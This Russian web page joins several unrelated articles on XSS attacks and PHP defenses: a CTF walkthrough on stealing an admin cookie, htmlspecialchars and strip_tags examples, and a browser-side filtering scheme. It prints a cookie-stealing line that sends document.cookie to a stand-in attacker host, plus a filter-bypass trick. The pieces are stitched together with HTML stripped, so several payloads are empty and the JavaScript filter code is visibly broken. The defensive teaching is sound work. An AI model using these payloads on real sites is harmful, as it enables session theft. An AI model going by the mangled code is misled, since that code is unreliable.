Php защита от xss. Как защититься от xss атаки и устранить уязвимость

И эта статья обещает быть информативной, особенно для новичков.

И чтобы было представление о XSS, я разделю статью на 2 части, где в 1ом разберем, что за зверь этот XSS. А во втором рассмотрим, как она эксплуатируется в PHP и как от этого защититься.

– XSS. Что такое?

Теория

Cross Site Scripting - тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. А знаете почему не CSS? Правильно, потому что эта аббревиатура занята каскадными стилями.

Вообще XSS делится на 2 типа:

• Reflected (непостоянные). Давайте разберем этот тип подробнее. Этот тип XSS самый популярный, да и самый часто встречающийся среди всех инъекций. Тип атаки довольно простой, срабатывает и отсутствии фильтрации входных данных, чаще всего через какие-то формы на сайте. Например,

  Site.ru/search.php?q=alert(‘r0hack’)

  Получается, если эта поступающая строка не будет фильтроваться на стороне сервака, то получаем сообщение «r0hack». Ну и что скажете вы, ничего же страшного. А нет, ведь таким образом мы можем украсть куки авторизации пользователя. Давайте для примера разберем 1 таск с рут ми. Хотя ее можно отнести к обоим типам атаки, но в этом примере, можно увидеть, как мы можем стырить куки пользователя, ну и как работают stored тип.

• Stored (хранимые). В этом случае, мы можем загрузить свой код на сервер и каждый раз при открытии страницы с данным кодом, она запускается и наносит сокрушительный удар, например, как я говорил выше, ворует куки и можем выдать себя за другого пользователя. А теперь давайте разберем таск, про который я писал выше.

Разбирать будем этот таск:

Скрыто от гостей

И как видим в задании сказано украсть куки администратора и зайти с их помощью.
И дали простенький форум, где можем отправлять сообщения. Ну тут сразу можно понять, что сообщение нужно отправить скрипт, при клике на который мы получим куки. Специально для такие целей мы можно использовать, например сайт

Скрыто от гостей

Где она формирует ссылку, и при переходе по которому крадет данные заголовков, куки и все такое. Давайте так и сделаем, и замаскируем наше сообщение под фотографию и отправим.

Здесь формируем, такой скрипт для отправки:

document.write("")

После чего отправляем, и когда админом страница будет открыта, мы получаем куки:

И если эти данные мы подставим в куки, то статус посетителя поменяется на Admin.

На этом про XSS говорить закончим, если что-то непонятно спрашивайте или гуглите, инфы много.

– Эксплуатация XSS уязвимостей в PHP

Давайте сразу перейдем к практике и посмотрим, при каком случае, XSS атака может сработать.
У нас имеется такой кусок кода, который не экранирует исходящие данные:

$query = $_GET["query"] ?? 0; echo "Найдено: ". $query;

И как вы видите, в данном случае наш скрипт срабатывает.

– Как обезопасить PHP от XSS

И как закрыть эксплуатацию данной уязвимости, предельно просто все это делается, это просто экранируем:

$query = $_GET["query"] ?? 0; $query = htmlspecialchars($query, ENT_QUOTES); echo "Найдено: ". $query;

И наш скрипт мы получаем, как обычный текст, благодаря htmlspecialchars, ENT_QUOTES - преобразует как двойные, так и одинарные кавычки. И будет вам счастье.

Ну для примера, еще какой-нибудь немецкий сайт:

На этом с XSS закончу. Надеюсь получилось не плохо. Вопросы пишите в комментах. Спасибо.

Всего лишь несколько лет назад вы могли застать настоящую эпоху расцвета XSS уязвимостей. Тогда халатность веб-разработчиков достигала не просто высокого, а даже профессионального уровня. Сегодня веб-мастера уже стали более серьезно подходить к этой проблеме.

В этой короткой статье я расскажу о лучших способах защиты от XSS-атак. Но для начала в двух словах об XSS-уязвимостях.

XSS уязвимость

XSS — это уязвимость веб-страниц, возникающая в результате попадания в них пользовательских JS-скриптов.

Где и как используют XSS уязвимости?

Вот несколько самых популярных направлений:

Доступ
Одна из главных целей XSS заключается именно в том, чтобы получить cookie жертвы и проникнуть в ее аккаунт. Для этого необходимо найти соответствующую уязвимость, вставить на страницу скрипт отправки cookie на снифер, а затем использовать сграбленные cookie для доступа на нужный сайт.

Рабочая сила
Через хитрые комбинации JavaScript + PHP проводят банальную прогрузку капчи для ее халявной расшифровки юзерами чужого ресурса. Для этого атакованная страница блокируется до тех пор, пока пользователь не введет код с нее.

CSRF
Иногда, даже имея логин и пароль/сессию, хакер не может попасть в аккаунт, так как привязка может быть к ip-адресу, браузеру и другим данным. Поэтому XSS в чистом виде не проходит. Но, зная конструкцию сайта, злоумышленник все равно сможем попасть в аккаунт с помощью межсайтовой подделки запроса.

ТОП-5 защит от XSS уязвимостей:

1. Защита функцией htmlspecialchars().
Данная функция преобразует переданный ей аргумент в HTML-сущности, причем происходит преобразование именно тех символов, которые являются потенциально небезопасными.

2. Защита функцией strip_tags().
В отличие от htmlspecialchars() данная функция удаляет из строки аргумента только сами теги, причем второй аргумент служит для указания исключений, которые не нужно удалять. Через нее спокойно проходят строки: , < img.

3. BB-коды.
Пропуск только определенных тегов, иногда совсем в иной форме, чем позволяют стандарты HTML

4. Регулярные выражения.
Кто-то регулярки любит, кто-то нет, а кто-то даже предпочитает написать свою собственную, через которую не проходят потенциально опасные символы или теги. Удобно в случае исключения аргументов из внедряемого тега без изменения HTML-сущности оставшейся части.

5. Самописные функции.
Всевозможные рекурсивные парсеры строк, которые очень гибко борются с XSS, также довольно популярны. Хотя в самописных функциях гораздо чаще можно найти какую-либо уязвимость.

Вас также может заинтересовать статья « и как от нее защититься». А на сегодня все. Всем удачи и информационной безопасности!

Количество Хпециалистов (с большой буквы ха - прим.ред. ) в области веб-строения растёт с каждым днём, количество уязвимых сайтов, соответственно, тоже. Помню, когда я сам только начинал работать в этой области, я мало уделял внимание безопасности, и сейчас могу сказать почему.

Дело в том, что в большинстве литературных источников про это говорится либо очень мало, либо ни слова. Откуда начинающий пользователь узнает о потенциальном враге, если его держать в неведении? Именно поэтому я постараюсь уделять внимание вопросам безопасности при написании скриптов. И начну я, пожалуй, с самой известной атаки - XSS.

Думаю большинство из Вас знает, что такое XSS-атака, она же Cross-Site Scripting attack, а также многие из Вас знают как от них защищаться. Эта уязвимость основана на том, что хакер внедряет в страницу сайта какой-то свой код (HTML, JavaScript, а иногда даже и PHP). Это может привести к различного рода неприятностям. Например:

Допустим на страницу была внедрена простая безобидная ссылка. Ссылка ведёт на сайт злоумышленника, и представляет собой точную внешнюю копию того сайта, на котором была размещена. Человек, попав на сайт злоумышленника, может нечаянным образом оставить свои логин и пароль. Создание точной копии сайта жертвы на сервере злоумышленника - очень эффективный способ взлома и распространён широко в интернете и он далеко не обязательно связан с XSS-атакой. Сейчас особенно много ссылок на поддельный сайт Вконтакте, имеющие адреса типа vkantagte.ru.

С помощью XSS можно возможно выкрасть содержимое файлов cookie посетителей сайтов, в которых могут без проблем храниться пароли.

Помимо взлома и кражи сайта, всегда возможна порча содержимого и дефейс страницы, т.е. изменение внешнего вида.

Атаки XSS бывают активными и пассивными.

Пассивный XSS

Пассивный XSS заключается в том, что скрипт либо НЕ хранится на сервере уязвимого сайта, либо не может выполниться автоматически в браузере жертвы. Т.е. для его срабатывания нужно какое-то действие пользователя, например клик по ссылке. Этот тип XSS также называют первым типом.

Активный XSS

Подразумевается, что скрипт хранится на сервере и срабатывает в браузере при открытии страницы с заражённым объектом. Этот тип XSS также называют вторым типом. Этому типу подвержены сайты стандарта Веб 2.0, т.е. форумы, блоги, соц.сети и так далее.

От XSS уязвимости вас могут защитить две основные функции:

• strip_tags() - удаляет из строки все HTML-теги, кроме разрешённых.

htmlspecialchars() - заменяет все спецсимволы на их HTML-аналоги (< заменяется на < и т.д.)

В принципе, если проверять переданные пользователем переменные (будь то форма или простой запрос через адресную строку), то этих функций обычно хватает. Однако я бы посоветовал ещё проверять на наличие двоеточия (:), процента (%), слэшей (/ и \), а не только те, что в htmlspecialchars - &, ", ", . Это уже делается функциями с регулярными выражениями - обычно preg_replace.

Некоторые проггеры запрещают только несколько тегов, типа и . Но это неправильно, нужно запрещать практически все теги. Всё для безопасности. Не стоит ждать, когда Ваш сайт взломают.

Профессионалы советуют использовать на сайте несколько уровней жёсткости проверки переданных данных, к примеру:

Уровень 1. Самый жёсткий. Запретить всё, кроме букв и знаков препинания - точка и запятая. Если появится запрещённый символ, то прекращать работу сценария - die().

Уровень 2. Уже не такой жёсткий, можно разрешить несколько основных и безопасных тегов, типа и . И то стоит использовать их заменители [b], [i], а заменять их на теги программно. В случае ввода запрещённого символа - сообщение об ошибке и прерывание работы сценария.

Уровень 3. Аналогично второму, но в случае ошибки - информацию об ошибке не выводить, а проводить замену на аналоги. Уровень для форумов с предусмотрением того, что можно будет оставлять код программ.

Уровень 4. Всё разрешено. Но всё равно проверять на совсем гадкое стоит. Использовать режим не рекомендуется, разве что может для совсем своих проектов или на локальной машине.

Пожалуй на сегодня всё. Жду Ваших комментариев и замечаний, так как наверняка есть ещё идеи на тему.

Начиная с этой недели я опять возвращаюсь к публикациям два раза в неделю и надеюсь буду держать так ещё долго, постараюсь писать ещё чаще, если получится. А пока до новых встреч!

Хранимые XSS-атаки

Cross Site Scripting атака - это злонамеренное программное воздействие на браузер пользователя в целях кражи данных или причинения иного вреда. Чтобы не бросать тень на CSS (Caskading Style Sheets), договорились в сокращенном обозначении заменять первый символ, получили аббревиатуру: XSS -атака.

Хранимые XSS-атаки - такие, при которых скрипт добавляется злоумышленником в тело страницы (посредством форм ввода - текстовых полей, инпутов, contenteditable- элементов - на форумах, в гостевых книгах и т.п.). Вставленный в сообщение замаскированный XSS-скрипт сохраняется (отсюда и название) сайтом, затем, при запросе пользователями зараженной страницы, запускается и атакует.

Варианты оформления внедряемого XSS-кода, ворующего куки
В тегах . . . :

location.href="http://example.com/" + document.cookie;

В виде обработчика событий в html-теге:

Какой-то текст

С использованием псевдопротокола javascript: :

Результатом встраивания любого из этих примеров в страницу чужого сайта будет формирование от браузеров, загрузивших ее, запроса вида
http://example.com/login=sasha;%20parol=terminator ,
где http://example.com/ - сайт злоумышленника, а login=sasha , parol=terminator - куки с компьютера пользователя (куки или сам тип воруемой информации могут быть иными, но нам данное обстоятельство сейчас не важно). На сайте вора страницы с запрашиваемым адресом, понятно, нет, поэтому сервер его домена (http://example.com/ ) сгенерирует 404-ошибку, которую легко перехватить и записать адрес запроса в лог. Таким образом, когда вредитель внедрит в страницу чужого сайта любой из вышеприведенных XSS-скриптов (в отсутствие мер защиты на сайте), тогда в течение некоторого времени на сервере http://example.com/ автоматически сформируется лог-файл, содержащий сведения о куках с браузеров всех загрузивших зараженную страницу пользователей.

Серверная защита от хранимых XSS-атак

Решение проблемы очевидно: исключить возможность программного исполнения в браузере вводимого пользователем, сохраняемого и показываемого затем другим пользователям текста. Следовательно, необходимо нейтрализовать во вводе все те места, которые явно или предположительно включают в себя скрипт, как то:
- контейнеры . . . ;
- обработчики событий в тегах;
- псевдопротоколы javascript: .

Казалось бы, просто: убрать из текста заранее известные опасные последовательности символов. Так обычно и делают: на сервере php-обработчик (фильтр) парсит ввод, вырезает из него или заменяет в нем подозрительные фрагменты. Но! Браузеры ведь исполняют JavaScript, ничего "не зная" о PHP, сервер, наоборот, "не ведает" о javascript-е. В серверной защите плохо то, что она, по большому счету, не понимает, что она делает. Отсюда становятся понятными усилия "умельцев" хранимых XSS-атак. Последние двигаются в направлении подбора для атакуемых движков такого способа порчи вредоносного скрипта, при котором фильтр на сервере уже его не распознает, а иногда даже помогает заражению сайта.

Простейший пример. Злоумышленник вводит:

Сообщение отправляется на север. На сервере фильтр "видит" опасную символьную последовательность onmouseover и вырезает ее. В итоге, не представляющее никакой угрозы (не распознаваемое браузерами) oonmouseovernmouseover превращается в onmouseover , т.е. в понятное браузерам указание на событие. В общем случае, хранимые XSS-атаки так и осуществляют: вводят в поля сайта комбинации символов, отправляют, смотрят, что получается на выходе. Далее делают предположения о том, как работает фильтр и начинают составлять "боевую" комбинацию для него.

Чтобы полноценно распознавать html на сервере, там нужен html-парсер, который учтет все, вплоть до особенностей различных версий того или иного браузера. Не кросс-, а СВЕРХ-браузерный парсер. Решение может быть более сложным, чем сама задача.

Браузерная защита от хранимых XSS-атак

Html-парсеры ведь уже есть - в браузерах. Пользуясь этим, заманчиво переложить задачу распознавания хранимых XSS-атак (ну, и защиту от них) на сами браузеры. Тогда станет ненужным предугадывать на сервере, увидит ли в добавленном на форум сообщении активное содержимое Firefox, увидит ли там активное содержимое Интернет-эксплорер и т.д. Логичнее спросить у браузера: "Ты, Firefox, видишь здесь скрипт?" . Или: "Ты, Интернет-эксплорер, видишь в этом сообщении активное содержимое?" Если браузер - именно этот, конкретный, этой версии - обнаружил скрипт, тогда можно отдать браузеру приказ нейтрализовать обнаруженное.

Скрипты выполняются браузером по ходу загрузки страницы. Пусть даже фрагмент текста невидим или скрыт - если там есть скрипт, скрипт обязательно будет запущен. Какого-то html-контейнера, запрещающего исполнение скриптов, до сих пор не изобретено (если бы такой контейнер придумали, вопроса хранимых XSS-атак не стояло бы в принципе).

Нам нужна "пассивная" загрузка - чтобы скрипты не запускались. Единственное, что приходит на ум - использовать комментарий ( ). Закомментированное браузерами не интерпретируется, не отображается, но загружается и встраивается в DOM (Document Object Model). Таким образом, заведомо имея на странице сайта подозрительный в отношении XSS контент, мы можем, тем не менее, безбоязненно отдавать эту страницу браузерам, лишь предварительно закомментировав сомнительные в плане безопасности фрагменты.

По окончании загрузки, браузер должен отмеченные нами части текста проанализировать, обезопасить их, затем только показать пользователю. Событие, соответствующее окончанию загрузки страницы, есть, называется оно onload , применимо к контейнеру body . Значит, тело страниц нашего сайта, по крайней мере, тех из них, которые содержат добавляемый пользователями контент, должно реагировать на окончание загрузки:
,
где getid("message") - функция, принимающая идентификатор того html-контейнера, содержимое которого должно быть проанализировано и обезврежено.

Функция: выборщик фрагментов

Интернет-эксплорер версий 6 или 7, сейчас - летом 2014 года - еще используют. Исходя из рунетовских статистик можно оценить долю эксплореров 6 и 7, вместе взятых, в 1% трафика. Пожалуй, это самые уязвимые браузеры. Я думаю, защиту надо строить такую, которая будет работать, начиная с шестого эксплорера. Пусть это и даст некоторые шероховатости в коде.

Шестой эксплорер в ответ на document.getElementByClassName() выдает объект (не коллекцию объектов, как можно было бы ожидать). Подстраиваться приходится под самого слабого, поэтому, будем получать фрагменты текста так, как хочет эксплорер 6 - по одному. Опираться будем все же на id , но при этом допуская множество фрагментов с одинаковым id на одной странице. Такое против правил, зато получится кроссбраузерно.

Функция getid(id) :

function getid(id) { var obj; while (document.getElementById(id)) { obj = document.getElementById(id); obj.removeAttribute("id"); obj.innerHTML = obj.innerHTML.replace("", ""); clearhtml(obj); ]*?script[^>]*?>/gi, ""); obj.innerHTML = obj.innerHTML.replace(/]*?js:[^>]*?>/gi, ""); } }

Ничего сложного, тем не менее, по каждой строке есть пояснения - в титлах (просто наведите курсор).

Функция: чистильщик html

Пользуясь методами и свойствами DOM, в частности, можно получить:
- массив вложенных html-контейнеров;
- имя каждого вложенного html-контейнера;
- имена всех атрибутов каждого html-контейнера.
В записи вида